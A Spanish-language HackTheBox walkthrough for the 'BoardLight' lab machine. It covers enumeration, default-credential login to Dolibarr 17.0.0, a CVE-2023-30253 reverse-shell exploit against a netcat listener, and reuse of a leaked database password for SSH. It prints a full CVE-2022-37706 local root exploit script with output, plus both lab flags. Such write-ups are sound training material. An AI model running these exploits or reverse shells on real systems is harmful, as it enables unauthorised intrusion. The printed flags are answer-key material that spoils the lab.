Write Up BoardLight HackTheBox

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>

nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-10 10:08 EDT
Nmap scan report for 10.10.11.11
Host is up (0.034s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
|   256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
|_  256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.32 seconds

Gobuster

gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 50 -k -r

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.11/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 276]
/.htpasswd            (Status: 403) [Size: 276]
/.htaccess.txt        (Status: 403) [Size: 276]
/.htaccess.php        (Status: 403) [Size: 276]
/.htaccess.html       (Status: 403) [Size: 276]
/.htpasswd.html       (Status: 403) [Size: 276]
/.htpasswd.php        (Status: 403) [Size: 276]
/.htpasswd.txt        (Status: 403) [Size: 276]
/about.php            (Status: 200) [Size: 9100]
/contact.php          (Status: 200) [Size: 9426]
/css                  (Status: 403) [Size: 276]
/do.php               (Status: 200) [Size: 9209]
/images               (Status: 403) [Size: 276]
/index.php            (Status: 200) [Size: 15949]
/js                   (Status: 403) [Size: 276]
/server-status        (Status: 403) [Size: 276]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================

Si vemos en el pie de pagina un dominio que utiliza la web, por lo que haremos lo siguiente...

nano /etc/hosts

#Contendio de nano
<IP>        board.htb

Ahora si ponemos ese dominio en la pagina, nos cargara como la de antes, por lo que probaremos a buscar subdominios de la siguiente manera ya que en la pagina no hay nada en especial...

ffuf -c -t 200 -w <WORDLIST> -H "Host: FUZZ.board.htb" -u http://board.htb/ -fw 6243

Info:


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://board.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/big.txt
 :: Header           : Host: FUZZ.board.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 200
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 6243
________________________________________________

crm                     [Status: 200, Size: 6360, Words: 397, Lines: 150, Duration: 743ms]
:: Progress: [20469/20469] :: Job [1/1] :: 363 req/sec :: Duration: [0:01:03] :: Errors: 0 ::

Por lo que vemos encontramos un subdominio llamado crm por lo que nos lo pondremos en el hosts....

nano /etc/hosts

#Contendio de nano
<IP>        board.htb crm.board.htb

Una vez guardado, si buscamos con esa URL, veremos un panel de login...

URL = http://crm.board.htb/index.php?

Si probamos las credenciales por defecto nos dejara logearnos...

User = admin
Password = admin

Si vemos que la version de la pagina es Dolibarr 17.0.0 por lo que si buscamos un exploit lo encontraremos en GitHub...

URL = https://github.com/nikn0laty/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253/blob/main/exploit.py

Como este exploit se necesita autenticacion y ya la tenemos lo utilizaremos...

python3 exploit.py http://crm.board.htb admin admin <IP> <PORT>

Info:

[*] Trying authentication...
[**] Login: admin
[**] Password: admin
[*] Trying created site...
[*] Trying created page...
[*] Trying editing page and call reverse shell... Press Ctrl+C after successful connection

Mientras se esta ejecutando eso estaremos a la escucha...

nc -lvnp <PORT>

Y si esperamos un rato ya tendremos la shell con el usuario www-data...

Si nos vamos a la siguiente URL...

/html/crm.board.htb/htdocs/conf

Y leemos el archivo llamado conf.php veremos estas lineas interesantes...

$dolibarr_main_url_root='http://crm.board.htb';
$dolibarr_main_document_root='/var/www/html/crm.board.htb/htdocs';
$dolibarr_main_url_root_alt='/custom';
$dolibarr_main_document_root_alt='/var/www/html/crm.board.htb/htdocs/custom';
$dolibarr_main_data_root='/var/www/html/crm.board.htb/documents';
$dolibarr_main_db_host='localhost';
$dolibarr_main_db_port='3306';
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_prefix='llx_';
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';
$dolibarr_main_db_type='mysqli';
$dolibarr_main_db_character_set='utf8';
$dolibarr_main_db_collation='utf8_unicode_ci';
// Authentication settings
$dolibarr_main_authentication='dolibarr';

Primero sanitizamos la shell...

script /dev/null -c bash

# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>

Una credenciales para conectarnos a mysql...

mysql -h localhost -u dolibarrowner -pserverfun2$2023!!

Metiendonos dentro no veremos nada, pero si probamos esta contarseña con el usuario larissa sera su contraseña, por lo que...

User = larissa
Password = serverfun2$2023!!

Nos conectamos por ssh...

ssh larissa@<IP>

Una vez dentro leeremos la flag en su /home...

user.txt (flag1)

092416f8881878db54f1c3fb0eccb894

Si hacemos lo siguiente...

find / -type f -perm -4000 -ls 2>/dev/null

Info:

2491     16 -rwsr-xr-x   1 root     root        14488 Jul  8  2019 /usr/lib/eject/dmcrypt-get-device
      608     16 -rwsr-sr-x   1 root     root        14488 Apr  8 18:36 /usr/lib/xorg/Xorg.wrap
    17633     28 -rwsr-xr-x   1 root     root        26944 Jan 29  2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
    17628     16 -rwsr-xr-x   1 root     root        14648 Jan 29  2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
    17627     16 -rwsr-xr-x   1 root     root        14648 Jan 29  2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight
    17388     16 -rwsr-xr-x   1 root     root        14648 Jan 29  2020 /usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset
     2368     52 -rwsr-xr--   1 root     messagebus    51344 Oct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
     5278    468 -rwsr-xr-x   1 root     root         477672 Jan  2 09:13 /usr/lib/openssh/ssh-keysign
    10039    388 -rwsr-xr--   1 root     dip          395144 Jul 23  2020 /usr/sbin/pppd
     2211     44 -rwsr-xr-x   1 root     root          44784 Feb  6 04:49 /usr/bin/newgrp
      230     56 -rwsr-xr-x   1 root     root          55528 Apr  9 08:34 /usr/bin/mount
     5609    164 -rwsr-xr-x   1 root     root         166056 Apr  4  2023 /usr/bin/sudo
     2245     68 -rwsr-xr-x   1 root     root          67816 Apr  9 08:34 /usr/bin/su
     5334     84 -rwsr-xr-x   1 root     root          85064 Feb  6 04:49 /usr/bin/chfn
      231     40 -rwsr-xr-x   1 root     root          39144 Apr  9 08:34 /usr/bin/umount
     5337     88 -rwsr-xr-x   1 root     root          88464 Feb  6 04:49 /usr/bin/gpasswd
     5338     68 -rwsr-xr-x   1 root     root          68208 Feb  6 04:49 /usr/bin/passwd
      375     40 -rwsr-xr-x   1 root     root          39144 Mar  7  2020 /usr/bin/fusermount
     5335     52 -rwsr-xr-x   1 root     root          53040 Feb  6 04:49 /usr/bin/chsh
      484     16 -rwsr-xr-x   1 root     root          14728 Oct 27  2023 /usr/bin/vmware-user-suid-wrapper

Vemos estas 3 lineas que son interesantes...

17633     28 -rwsr-xr-x   1 root     root        26944 Jan 29  2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
    17628     16 -rwsr-xr-x   1 root     root        14648 Jan 29  2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
    17627     16 -rwsr-xr-x   1 root     root        14648 Jan 29  2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight

Por lo que se ve utiliza enlightenment y si buscamos un exploit del mismo lo encontramos en GitHub...

URL = https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit

Nos lo descargamos y nos lo pasamos a la maquina victima...

nano exploit.sh

exploit.sh

#!/bin/bash

echo "CVE-2022-37706"
echo "[*] Trying to find the vulnerable SUID file..."
echo "[*] This may take few seconds..."

file=$(find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1)
if [[ -z ${file} ]]
then
	echo "[-] Couldn't find the vulnerable SUID file..."
	echo "[*] Enlightenment should be installed on your system."
	exit 1
fi

echo "[+] Vulnerable SUID binary found!"
echo "[+] Trying to pop a root shell!"
mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/exploit"

echo "/bin/sh" > /tmp/exploit
chmod a+x /tmp/exploit
echo "[+] Enjoy the root shell :)"
${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net

chmod +x exploit.sh

bash exploit.sh

Info:

CVE-2022-37706
[*] Trying to find the vulnerable SUID file...
[*] This may take few seconds...
[+] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
[+] Enjoy the root shell :)
mount: /dev/../tmp/: can't find in /etc/fstab.
# whoami
root
#

Y con esto ya seriamos root, por lo que leeremos la flag...

root.txt (flag2)

7d1abced1792429d9344f405b112713a

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